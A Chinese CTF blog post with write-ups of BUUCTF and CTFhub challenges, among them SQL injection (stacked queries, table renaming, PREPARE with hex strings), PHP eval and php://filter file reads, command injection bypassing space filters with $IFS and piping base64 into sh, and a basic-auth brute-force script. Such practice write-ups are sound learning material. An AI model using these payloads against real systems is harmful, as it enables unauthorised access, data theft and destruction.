CTF题记——暑假计划第一周

本文目录

  • 前言
  • Web
    • [强网杯 2019]随便注
    • 技能树HTTP协议基础认证
    • 技能树目录遍历
    • bak文件
    • [极客大挑战 2019]EasySQL
    • [极客大挑战 2019]Havefun
    • [RoarCTF 2019]Easy Calc
    • [极客大挑战 2019]Secret File
    • [极客大挑战 2019]LoveSQL
    • [GXYCTF2019]Ping Ping Ping
  • Misc
    • [WUSTCTF2020]alison_likes_jojo
    • [SUCTF2018]single dog
    • [SUCTF 2019]Game
    • 2020网鼎杯朱雀组——九宫格
    • [GUET-CTF2019]zips
    • 我吃三明治
    • [MRCTF2020]CyberPunk
    • [WUSTCTF2020]girlfriend
    • [HBNIS2018]来题中等的吧
  • Crypto
    • [NCTF2019]Keyboard
    • [GXYCTF2019]CheckIn

前言

学期结束,暑假开始,博客也开始正常更新。
差不多就是一周一篇CTF题记,一篇漏洞原理的知识,外加随便一篇。

Web

Web类的题目是在BUUCTF挑选的。

[强网杯 2019]随便注

查看源码,看到sqlmap是没有灵魂的应该不能使用sqlmap,先尝试其他的办法。
直接提交1
CTF题记——暑假计划第一周_第1张图片
然后判断闭合,输入单引号报错,可以判断是字符型SQL注入。
1' order by 3#
判断列数,到3已经报错了,说明只有2列。
然后先试试联合查询注入
CTF题记——暑假计划第一周_第2张图片
正则匹配过滤URL中的select、upload、where还有"."等,尝试大小写绕过,失败。
所以尝试下报错注入,payload

 1' and extractvalue(0x0a,concat(0x0a,(database())))#

这个跟我常用的不一样,我以前常用的报错注入payload里面是包含了select的,所以有找了一个没有过滤内容的payload来进行绕过。
CTF题记——暑假计划第一周_第3张图片
数据库名是supersqli
然后就卡住了,查看前面师傅们的wp,了解到了堆叠注入。
先了解一下……

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

当然堆叠注入还有一定的局限性,这个以后遇到再进行学习。
payload

0';show databases;#

CTF题记——暑假计划第一周_第4张图片
爆出来六个数据库名。
然后查看所有的表

0';show tables;#

CTF题记——暑假计划第一周_第5张图片
查看表中字段

0';desc words;#

CTF题记——暑假计划第一周_第6张图片
好像是没有什么有效信息,再看另一个

0';desc `1919810931114514`;#
#注释字段名是数字,查看时用  `  包起来

CTF题记——暑假计划第一周_第7张图片
这个查询flag的方式才是需要解决的。
然后看了一个师傅的wp是这么写的,正则过滤没有过滤alert和rename这两个,所以可以使用这两个功能来实现一波骚操作

1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data

有两个payload,我都进行尝试但是结果没有出flag。先贴一下payload

#第一个
?inject=1; ALTER TABLE `words` CHANGE `flag` `data` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
#第二个
?inject=1;rename table `words` to` word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

结果一样,
CTF题记——暑假计划第一周_第8张图片
emmm,我又查看了一遍,发现没修改成功,
CTF题记——暑假计划第一周_第9张图片
不知道是什么原因,emmm不慌,还有一种方法:
PHP中mysql预处理,,不知道,先学习一下
参考博客——MySQL的SQL预处理(Prepared)
语法:

# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

在mysql命令行中看下
CTF题记——暑假计划第一周_第10张图片
真是tql
CTF题记——暑假计划第一周_第11张图片
然后就可以做题了。下面的payload可以用。

?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

这个是拼接的十六进制数字,将那一串数字转换为16进制。
还有一种方法可以将其转换为ascii码然后在进行转换

1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

喔,666
CTF题记——暑假计划第一周_第12张图片
膜拜大佬,这方法也太强了。

技能树HTTP协议基础认证

CTF题记——暑假计划第一周_第13张图片
浏览过一遍网页后,开启代理。点击click进行抓包。
CTF题记——暑假计划第一周_第14张图片
用户输入admin 密码随机123
CTF题记——暑假计划第一周_第15张图片
找了好久发现这里是输入的用户名和密码。它是进行了base64加密了。所以就需要将字典文件也进行加密。使用大佬写的python脚本。

import base64
# 字典文件路径
dic_file_path = './10_million_password_list_top_100.txt'
with open(dic_file_path, 'r') as f:
    password_dic = f.readlines()

username = 'admin:' # 用户名
for password in password_dic:
    str1=str.encode(username + password.strip())
    encodestr = base64.b64encode(str1)
    encodestr=str(encodestr)
    encodestr=encodestr.strip('b\'')
    encodestr=encodestr.replace("=","\=")   #避免“=”被转译
    print(encodestr)

然后复制一下运行出来的密码
CTF题记——暑假计划第一周_第16张图片
重新写一个txt字典文件。进行爆破。
CTF题记——暑假计划第一周_第17张图片
然后查看response
CTF题记——暑假计划第一周_第18张图片

技能树目录遍历

第一个办法:傻瓜式操作,一个个找。(位置好像是随机的,可以自己找找)
CTF题记——暑假计划第一周_第19张图片
第二种方法:脚本查询
使用request库进行查询

import requests

url = "http://challenge-4d716e1afe267765.sandbox.ctfhub.com:10080/flag_in_here/"

for i in range(5):
    for j in range(5):
        url_test =url+"/"+str(i)+"/"+str(j)
        r = requests.get(url_test)
        r.encoding = 'utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print(url_test)

CTF题记——暑假计划第一周_第20张图片
然后直接访问URL得到flag

bak文件

CTF题记——暑假计划第一周_第21张图片
这个用dirsearch扫描,
CTF题记——暑假计划第一周_第22张图片
等它跑一会儿,等到index.php的时候ctrl+C就可以停下来了,不然太多。
CTF题记——暑假计划第一周_第23张图片
然后访问就可以下载了,打开文件
CTF题记——暑假计划第一周_第24张图片

[极客大挑战 2019]EasySQL

界面挺帅的,黑色系列。判断一下闭合符号,发现是单引号闭合的字符型注入。
CTF题记——暑假计划第一周_第25张图片
这样的登录框,首先应该想到的是万能密码,先看看能不能登录,如果能登陆再看看有没有有效信息,如果没有信息再进行寻常的注入。
这个是个简单的注入,所以万能密码就可以直接得到flag了

admin' or 1=1 #

CTF题记——暑假计划第一周_第26张图片

flag{a3fe1ac7-493c-4546-9aeb-5a244f6f254c}

[极客大挑战 2019]Havefun

查看源码,这个好像没什么难度吧。
CTF题记——暑假计划第一周_第27张图片
直接出来了。
CTF题记——暑假计划第一周_第28张图片

[RoarCTF 2019]Easy Calc

CTF题记——暑假计划第一周_第29张图片
查看源码注释说有waf,然后访问源码中提示的calc.php


error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

这个就是waf的规则了。需要绕过num,

php的解析规则:当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析

所以进行绕过只需要在num前面加上空格就OK了,num进行过滤,但是num前面加上空格就没有问题了,waf就不会管num之外的东西。
查看目录,使用ascii码绕过

? num=1;var_dump(scandir(chr(47)))

CTF题记——暑假计划第一周_第30张图片
看到一个flagg的

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

查看到flag是
m0re
方法二:http请求走私
这个看学长总结了,看着有点头大,还是以后基础扎实点了再学这个吧。

[极客大挑战 2019]Secret File

第一步:f12
CTF题记——暑假计划第一周_第31张图片
第二步:点击跳转到另一个页面
CTF题记——暑假计划第一周_第32张图片
中间跳转了,所以需要抓包分析
CTF题记——暑假计划第一周_第33张图片
找到了,然后访问
CTF题记——暑假计划第一周_第34张图片
可以看出,flag.php可=可能有东西,先访问一下(虽然知道肯定没有结果)
CTF题记——暑假计划第一周_第35张图片
现在再来看上面的那个代码,是PHP伪协议的源代码,这里可以使用PHP伪协议,但是看到有过滤,过滤了带有tp的,还有input、data找一个没有过滤的伪协议进行解题。选择filter
payload

?file=php://filter/convert.base64-encode/resource=flag.php

CTF题记——暑假计划第一周_第36张图片
base64解码,
CTF题记——暑假计划第一周_第37张图片
ha,这个结果出乎意料,试了几次发现解码问题
CTF题记——暑假计划第一周_第38张图片

[极客大挑战 2019]LoveSQL

post类型表单注入,先尝试万能密码

admin' or 1=1#

CTF题记——暑假计划第一周_第39张图片
可以看出是字符型注入,单引号闭合,接下来可以查询列数

order by 4#

到四报错,判断有三列。
CTF题记——暑假计划第一周_第40张图片
爆数据库名

-admin' union select 1,2,database()#

CTF题记——暑假计划第一周_第41张图片
数据库名为geek

-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

CTF题记——暑假计划第一周_第42张图片
题目是loveSQL,所以猜测flag可能在l0ve1ysq1中。
然后就是爆字段

-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

CTF题记——暑假计划第一周_第43张图片
这个跟sqli-labs第一关几乎一样的。

-admin' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#

CTF题记——暑假计划第一周_第44张图片
就能找到flag

flag{d96f20f0-79fe-4a7a-998b-4cb9ebf4902b}

[GXYCTF2019]Ping Ping Ping

这个题也是很有意思,可能有点linux基础的做起来更容易理解一点。
开启环境,是让/?ip,这样可以看出来是让在后面加上IP地址,然后考点应该是命令执行漏洞,先尝试127.0.0.1
CTF题记——暑假计划第一周_第45张图片
ping成功了,然后就可以构造我们的命令执行漏洞的payload了

?ip=127.0.0.1|ls

查看当前目录下的文件
CTF题记——暑假计划第一周_第46张图片
然后就是cat一下看看内容。
但是发现好像有过滤
CTF题记——暑假计划第一周_第47张图片
空格被过滤了。关于命令执行漏洞的各种绕过,我刚学习总结一篇新的博客——命令执行漏洞的各种绕过方式
我选择$IFS绕过

?ip=127.0.0.1|cat$IFSflag.php

CTF题记——暑假计划第一周_第48张图片
flag也被过滤了,先查看一下index.php里面的内容。使用$IFS过滤好像没有什么内容返回,尝试一下使用$IFS$1
CTF题记——暑假计划第一周_第49张图片

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

可以看出,这个是过滤了许多标点,空格,bash,包括flag的贪婪匹配
绕过方法可以使用变量拼接

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

CTF题记——暑假计划第一周_第50张图片
当然还有其他的方式,就不一一演示了。

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh		绕过bash,使用sh同样可行
/?ip=127.0.0.1;cat$IFS`ls`		#内联执行的做法:

Misc

[WUSTCTF2020]alison_likes_jojo

信息就是:两张图片,还有题目描述,不过我没发现这个有什么作用。
文件中隐藏了压缩包,foremost分离得到压缩包,尝试进行爆破
CTF题记——暑假计划第一周_第51张图片
得到文件中是一串base64编码,而且文件名也说明了就是beisi

WVRKc2MySkhWbmxqV0Zac1dsYzBQUT09
YTJsc2JHVnljWFZsWlc0PQ==
a2lsbGVycXVlZW4=
killerqueen

一直解下去就得到了最终结果。
然后提交了发现不对。
CTF题记——暑假计划第一周_第52张图片
然后看了眼wp,好像是outguess
CTF题记——暑假计划第一周_第53张图片
桌面生成的hidden.txt打开就是flag了
以后要多长个心眼了。

[SUCTF2018]single dog

这个没什么绕的,就是一个新知识,aaencode解密
在线网站——传送门
CTF题记——暑假计划第一周_第54张图片

[SUCTF 2019]Game

图片好像是没有隐藏文件的,所以先放着,看文件夹里的文件。
找到HTML,看源码
CTF题记——暑假计划第一周_第55张图片
这个是base32编码,就进行解密得到
CTF题记——暑假计划第一周_第56张图片
但是,这个不对。是个假的flag。还是要去看图片。’
图片现在能想到的就是只有LSB隐写了。
CTF题记——暑假计划第一周_第57张图片
是DES加密,看一个大佬的博客说是U2FsdGVkX1开头的加密基本都是DES加密。然而需要密码。
刚得到的假flag就是密码,看wp的时候也要仔细啊,DES和3DES也是不一样的。害我刚试了好多遍怎么都解不出来,就是不认真的结果。
CTF题记——暑假计划第一周_第58张图片

2020网鼎杯朱雀组——九宫格

emmm,脚本题
思路:先用二维码扫描工具进行扫描,试了几个发现都是zero或者one,猜想应该是二进制什么的。这个图片很多,需要用到脚本了。

import zxing
import os

filepath = r"#QRcode文件夹所在的绝对路径#"
l = os.listdir(filepath)
l.sort(key=lambda x:int(x[:-4]))

t = ''
for i in l:
    reader = zxing.BarCodeReader()
    barcode = reader.decode(filepath+"\\"+i)
    print(barcode.parsed)
    if(barcode.parsed == 'zero'):
        t = t + '0'
    else:
        t = t + '1'
        
print(t)

CTF题记——暑假计划第一周_第59张图片
上面用到一个第三方库需要自己安装zxing,简单的直接使用pip安装就行。
然后二进制转文本,找个在线网站转一下,然后是rabbit加密
呃呃呃呃,不过我好像没有看到有提示,,,,百度的wp都说有提示,这道题是我在CTFhub上做的,没发现提示,然后找到个师傅的wp说是九宫格有关的,还是直接附上博客地址叭。参考博客
然后得到flag,看过之后觉得这个需要有点脑洞的的。

本题总结:脚本比较慢,可以加上多线程,学的浅,目前还不会改脚本,不过多线程的确可以提快很多。还有就是这个好像是有个工具可以批量扫描二维码的,我看wp的时候有个师傅的图是批量转换的,没用脚本。不过没找到这个工具。

[GUET-CTF2019]zips

解压,得到压缩包,再次解压,有密码,爆破得到密码,解压,无果。010editor查看,发现伪加密。(或者ZipCenOp,.jar清除伪加密,使用方法请百度。)解压得到脚本,记事本打开是python脚本。python2的,需要用2的版本进行运行。运行后发现是一堆掩码(查过百度后知道的),格式是??????????.??用ARCHPR进行掩码破解,参数设置百度找了好久没找到,还是自己摸索摸索。
CTF题记——暑假计划第一周_第60张图片
这样,攻击类型选择掩码,设置一下掩码选项(P:最近眼神有点不好使,总看错东西,这个是没有看到)
进行破解就行,数字有点大,破解的有点慢。密码:1558080832.15
解压得到flag
CTF题记——暑假计划第一周_第61张图片

我吃三明治

图片,没有备注什么的,先foremost分离一下,看到两张图片,都是三明治,emmm有点不一样的,一张图里面藏了两张图。010editor看看,搜索图片位置,连接处好像有段编码。
CTF题记——暑假计划第一周_第62张图片
像是base32,解码得到flag

[MRCTF2020]CyberPunk

呃呃呃,原本没看懂啥意思,原来是需要将电脑上的日期改为发行日期就行了。也就是改成2020.9.17
其他没什么可说的

[WUSTCTF2020]girlfriend

听起来是按键音吧,之前做过这样的题,是按键音的。工具是dtmf2,下载地址可参考我之前写的博客——(CTF题记——再战GK、BUU),或者自行百度
CTF题记——暑假计划第一周_第63张图片
然后根据九键键盘对照一下
CTF题记——暑假计划第一周_第64张图片
出题人还挺花心的,这么多girlfriend

[HBNIS2018]来题中等的吧

第一步:foremost
第二步:010editor
第三部:stegsolve
全都没发现任何信息
CTF题记——暑假计划第一周_第65张图片
然后仔细看图片内容,发现是摩斯密码,可以直接写出来。
CTF题记——暑假计划第一周_第66张图片
就是flag了。挺简单一道题给想多了。

Crypto

[NCTF2019]Keyboard

键盘密码

ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee

可以看出这些字母都是在键盘上的最上面那一行的。而且再往上看,是数字。一个字母对应一个数字。0-9,然后又是这种格式的,明显是在九键键盘上再进行解题。比第一个o=9,第九个键的第三个是y
CTF题记——暑假计划第一周_第67张图片
然后用脚本继续解

cipher = 'ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee'
s = ' qwertyuiop'
d = ['', '', 'abc', 'def', 'ghi', 'jkl', 'mno', 'pqrs', 'tuv', 'wxyz']

for part in cipher.split(' '):
    # print(part)
    count = len(part)
    num = s.index(part[0])
    print(d[num][count - 1], end='')

解出是

youaresosmartthatthisisjustapieceofcake

加上flag就行了。

总结:看到键盘密码必须要想到两种键盘,并且数字字母之间的关系要多理解。

[GXYCTF2019]CheckIn

题目只有一串base64编码

dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==

解出来是一串乱码

v)*L*_F0<}@H0>F49023@FE0#@EN

然后就是各种密码,猜……凯撒,解不出来。
不知所措,Google一下大佬的wp,是rot47
CTF题记——暑假计划第一周_第68张图片
这,,,怎么没有想到rot的其他加密,害脑洞太小。
思考:很乱的字符串,特别是有*#@等字符,优先考虑移位的密码。rot家族的其他成员不能忘了。

这周就这吧,不写了。玩游戏放松放松去。

你可能感兴趣的:(CTF,CTF题记,BUUCTF,GXY2019CheckIn)